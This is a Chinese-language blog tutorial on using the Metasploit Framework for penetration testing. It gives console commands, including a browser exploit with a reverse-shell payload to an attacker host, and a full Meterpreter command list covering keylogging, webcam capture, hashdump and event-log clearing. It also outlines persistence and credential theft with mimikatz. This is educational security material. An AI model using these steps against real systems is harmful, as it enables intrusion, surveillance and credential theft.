首页 > 编程语言 >【kali系列】Metasploit Framework (MSF) 从基础到进阶使用指南

【kali系列】Metasploit Framework (MSF) 从基础到进阶使用指南

时间:2024-08-09 20:06:35浏览次数:12  
标签:Metasploit 进阶 命令 攻击 kali 漏洞 模块 MSF Payload


引言

一、Metasploit Framework 介绍
    1.1 MSF 概述
    1.2 MSF 主要组件

二、Metasploit Framework 基础安装与配置
    2.1 Kali Linux 中的 MSF
    2.2 非Kali Linux 环境下的安装
    2.3 更新与升级


三、Metasploit Framework 基础用法
   3.1 启动 MSF 控制台
   3.2 搜索与选择模块
   3.3 查看模块信息
   3.4 配置模块参数
   3.5 执行攻击
   3.6 后渗透阶段

四、常见问题与解决方案
   4.1 数据库连接问题
   4.2 权限不足问题
   4.3 攻击失败

五、高级攻击技术
   5.1 被动利用(Passive Exploit)
   5.2 复合攻击链(Attack Chain)
   5.3 利用定时任务或计划任务

六、后渗透阶段的高级操作
   6.1 权限提升
   6.2 信息收集
   6.3 持久化

七、自定义模块开发
   7.1 开发Exploit模块
   7.2 Payload开发

八、复杂攻击场景应用
   8.1 APT攻击模拟
   8.2 水坑攻击
   8.3 多阶段攻击

九、总结

引言

Metasploit Framework(MSF)是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法,帮助初学者快速上手。

一、Metasploit Framework 介绍

1.1 MSF 概述

Metasploit Framework最初由HD Moore于2003年发布,并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中,同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架,包括漏洞利用模块(exploits)、攻击载荷(payloads)、辅助模块(auxiliary)、编码器(encoders)、空指令(nops)、后渗透模块(post)等多个组件。

1.2 MSF 主要组件

利用目标系统中的已知漏洞进行攻击。

exploit漏洞利用模块路径

/usr/share/metasploit-framework/modules/exploits

例如我需要对windows的系统漏洞的利用,我可以查看windows模块

攻击成功后,在目标系统中执行的代码或指令。
/usr/share/metasploit-framework/modules/payloads
❝

在Metasploit框架中,Payload扮演着至关重要的角色,主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的,功能单一且易于使用,类似于运行一个简单的程序命令,但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见类型有reverse_tcp和bind_tcp,分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。

在实际应用中,正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况,但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境,此时被攻击机可主动连接攻击机,即使防火墙阻止进入的流量也无法阻挡外出连接。特别地,当被攻击机的防火墙极度严格,仅允许80或443端口与外部通信时,使用reverse_http或reverse_https Payload进行反向连接成为理想选择。

执行信息收集、扫描、嗅探等功能,辅助渗透测试。不直接执行攻击。例如,使用smb_version辅助模块扫描SMB服务版本:

use auxiliary/scanner/smb/smb_version  
set RHOSTS 192.168.1.0/24  
run

目录如下

msf利用扫描,我的机器上没有这个服务,所以扫不出来。

    Encoders(编码器):对Payload进行加密,以绕过安全软件的检测。
    Nops(空指令):提高Payload的稳定性和可靠性。
    Post(后渗透模块):在取得目标系统控制权后,执行进一步的攻击动作。

二、Metasploit Framework 基础安装与配置

2.1 Kali Linux 中的 MSF

在Kali Linux中,MSF默认已安装,用户可以直接通过终端启动MSF控制台。

msfconsole

2.2 非Kali Linux 环境下的安装

在非Kali Linux环境下,用户可以通过以下命令一键安装MSF:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装完成后,建议添加新用户并切换到该用户下运行MSF,以避免权限问题。

2.3 更新与升级

    apt update  
    apt upgrade metasploit-framework
    msfupdate

三、Metasploit Framework 基础用法

3.1 启动 MSF 控制台

在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库,建议以非root用户启动以确保数据库同步。

3.2 搜索与选择模块

搜索模块:使用 search 命令搜索特定模块,如 search ms17_010。
选择模块:使用 use 命令选择特定模块,如 use exploit/windows/smb/ms17_010_eternalblue,也可以使用搜索到的结果的索引,比如

3.3 查看模块信息

使用 info 命令查看当前模块的详细信息。

3.4 配置模块参数

使用 show options 查看模块需要配置的参数。
使用 set 命令设置参数值,如 set RHOSTS 192.168.3.172。
可以使用 setg 设置全局参数,避免在每个模块中重复设置。

3.5 执行攻击

配置完成后,使用 exploit 或 run 命令执行攻击,这里一般看习惯,都是用的run。
可以使用 exploit -j 在后台运行攻击。

3.6 后渗透阶段

成功攻击后,将进入Meterpreter会话,可以进行一系列后渗透操作,如文件操作、提权、信息收集等。

该表来自csdn 剑客 getshell

Meterpreter > ?
点击查看代码



==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性

meterpreter >

四、常见问题与解决方案

4.1 数据库连接问题

如果初次运行MSF时未正确初始化数据库,可能会出现连接问题。可以使用以下命令解决:

msfdb init

若已初始化但连接不上,尝试重启数据库服务:

msfdb restart

4.2 权限不足问题

在非Kali Linux环境下,以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。

4.3 攻击失败

攻击失败可能是由多种原因造成的,如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态,并尝试不同的Payload和配置选项。

五、高级攻击技术

5.1 被动利用(Passive Exploit)

被动利用是一种不直接向目标系统发送攻击载荷的攻击方式,而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。
示例:利用浏览器漏洞

假设目标系统的浏览器存在已知漏洞,攻击者可以设置一个包含漏洞利用代码的Web页面,并诱骗目标用户访问该页面。当浏览器加载页面时,漏洞利用代码将被执行,从而实现攻击。

use exploit/windows/browser/ms10_002_aurora  
set URIPATH /exploit  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST 192.168.1.101  
exploit

5.2 复合攻击链(Attack Chain)

在复杂攻击场景中,攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链,攻击者可以依次利用多个漏洞,逐步深入目标系统。
示例】:内网横向移动

假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器,接下来可以通过其他漏洞(如SMBv1漏洞、密码猜测等)横向移动到其他机器上。

5.3 利用定时任务或计划任务

在某些情况下,攻击者可以修改目标系统的计划任务或定时任务,以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。

六、后渗透阶段的高级操作

6.1 权限提升

在渗透测试过程中,获得系统权限是目标之一。

Meterpreter提供了多种提权技术,包括但不限于:

使用getsystem命令尝试直接提权。
利用已知的系统漏洞进行提权(如利用脏牛漏洞)。
通过上传并执行mimikatz等工具获取明文密码。

6.2 信息收集

后渗透阶段,深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息,包括但不限于:

使用sysinfo命令获取系统基本信息。
运行run scraper命令收集系统详细信息并保存到本地。
使用run hashdump或run smart_hashdump导出密码哈希值。

6.3 持久化

为了保持对目标系统的长期访问,攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。

使用Meterpreter的persistence脚本在目标系统中设置反弹Shell。
修改注册表或服务以实现开机自启动。

七、自定义模块开发

MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。

7.1 开发Exploit模块

开发自定义Exploit模块需要深入了解目标漏洞的利用机制,并熟悉Ruby编程语言。以下是一个简单的开发流程:

研究漏洞:深入理解漏洞的原理和触发条件。
编写Ruby脚本:使用Metasploit的API编写exploit脚本。
测试与调试:在安全的测试环境中测试exploit的有效性和稳定性。

7.2 Payload开发

自定义Payload的开发同样需要深入的技术背景,包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload,如自定义shellcode。

八、复杂攻击场景应用

8.1 APT攻击模拟

高级持续性威胁(APT)攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF,安全专业人员可以模拟APT攻击过程,评估组织的安全防御能力。

8.2 水坑攻击

水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源,并在这些位置植入恶意代码。通过MSF,攻击者可以模拟整个水坑攻击过程,从漏洞选择到Payload执行。

8.3 多阶段攻击

多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径,并依次利用多个漏洞实现最终目标。

九、总结

本文详细介绍了Metasploit Framework的基础知识和基本使用方法,包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文,读者可以初步掌握MSF的使用技巧,为进一步学习进阶用法打下坚实基础。在后续文章中,我们将深入探讨MSF的进阶用法,包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。

参考

标签:Metasploit,进阶,命令,攻击,kali,漏洞,模块,MSF,Payload
From: https://www.cnblogs.com/o-O-oO/p/18350603

相关文章

  • 【C++进阶学习】第十二弹——C++ 异常处理:深入解析与实践应用
    前言:在C++编程语言中,异常处理是一种重要的机制,它允许程序员在运行时捕获和处理错误或异常情况。本文将详细介绍C++异常处理的相关知识点,包括异常的定义、抛出与捕获、异常处理的原则、以及在实际编程中的应用。目录1.异常处理的基本概念1.1异常的定义1.2异常的抛出......
  • SQL进阶技巧:有序数据合并问题之如何按照时间顺序对数据进行合并?【腾讯互娱-分析某用户
    目录0需求描述​编辑 1数据准备 2数据分析 3小结0需求描述题目:有一个流水表,用户1在什么时间玩了什么游戏。dtstatdateqqdteventtimegame2022-01-1012022-01-1000:04......
  • C语言进阶——一文带你深度了解“C语言关键字”(中篇3)
    这篇文章记录我学习C语言关键字的相关知识,旨在记录一些进阶的知识。目录一、if、else之间的组合(一)、bool变量与零值之间的比较(二)、float变量与零值之间的比较 (三)、指针变量与零值之间的比较 (四)、else究竟与哪个if进行配对呢?二、结语 一、if、else之间的组合(一......
  • JavaWeb-01(Java进阶内容详解,Html、CSS、JS)
    一、前端技术结构分析网页的结构(HTML)、表现(CSS)、行为(JS)1.HTML定义界面整体结构2.CSS定义页面样式3.JS实现动态效果二、HTML2.1安装VSCode及前端开发插件Chinese(Simplified)(简体中文)LanguagePackforVisualStudioCodeCodeSpellChecker检查单......
  • kali搭建Vulhub漏洞靶场
    Vulhub是一个基于Docker和Docker-compose的漏洞靶场环境,它提供了多种常见的漏洞环境,可以帮助开发人员和安全研究者学习和测试安全漏洞。Vulhub需要Docker环境来运行,所以首先确保你的系统中安装了Docker。Docker的安装方法可以在其官方网站找到。或者按照以下步骤完成Docker环境的......
  • java进阶面向对象总结二
    1.接口继上次总结,接口是由常量和抽象方法组成,但为了增强接口功能,在jdk1.8之后可以定义含方法体的默认方法,静态方法(版本1.9之后),私有方法,他们分别用defult,static,private修饰2.内部类成员内部类:就是类里面的一个普成员外部类名.内部类名对象名=new外部类().new内部类();out......
  • YOLO系列:从yolov1至yolov8的进阶之路 持续更新中
    一、基本概念1.YOLO简介YOLO(YouOnlyLookOnce):是一种基于深度神经网络的对象识别和定位算法,其最大的特点是运行速度很快,可以用于实时系统。2.目标检测算法RCNN:该系列算法实现主要为两个步骤:先从图片中搜索出一些可能存在对象的候选区(SelectiveSearch),大概2000个左右;然后......
  • kali常用配置
    用户须知1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。详情免责声明版权声明交流群......
  • C++进阶:1_C++中的继承
    C++中的继承一.继承的概念及定义1.继承的概念公共部分提取出来叫做:父类或者基类(正常类)继承父类的类叫做:子类或者派生类(派生类)继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段,它允许程序员在保持原有类特性的基础上进行扩展,增加功能,这样产......
  • 从编程小白到大神:大学新生的编程进阶之旅
    目录前言一、启航:编程语言的选择二、资源宝库:优质学习资源的推荐三、攀登之路:高效学习方法与技巧结语前言在数字化浪潮席卷全球的今天,掌握编程技能已成为大学生通往未来成功的一把钥匙。对于刚刚踏入大学校园的你来说,这既是一个充满挑战的新起点,也是一段激动人心的......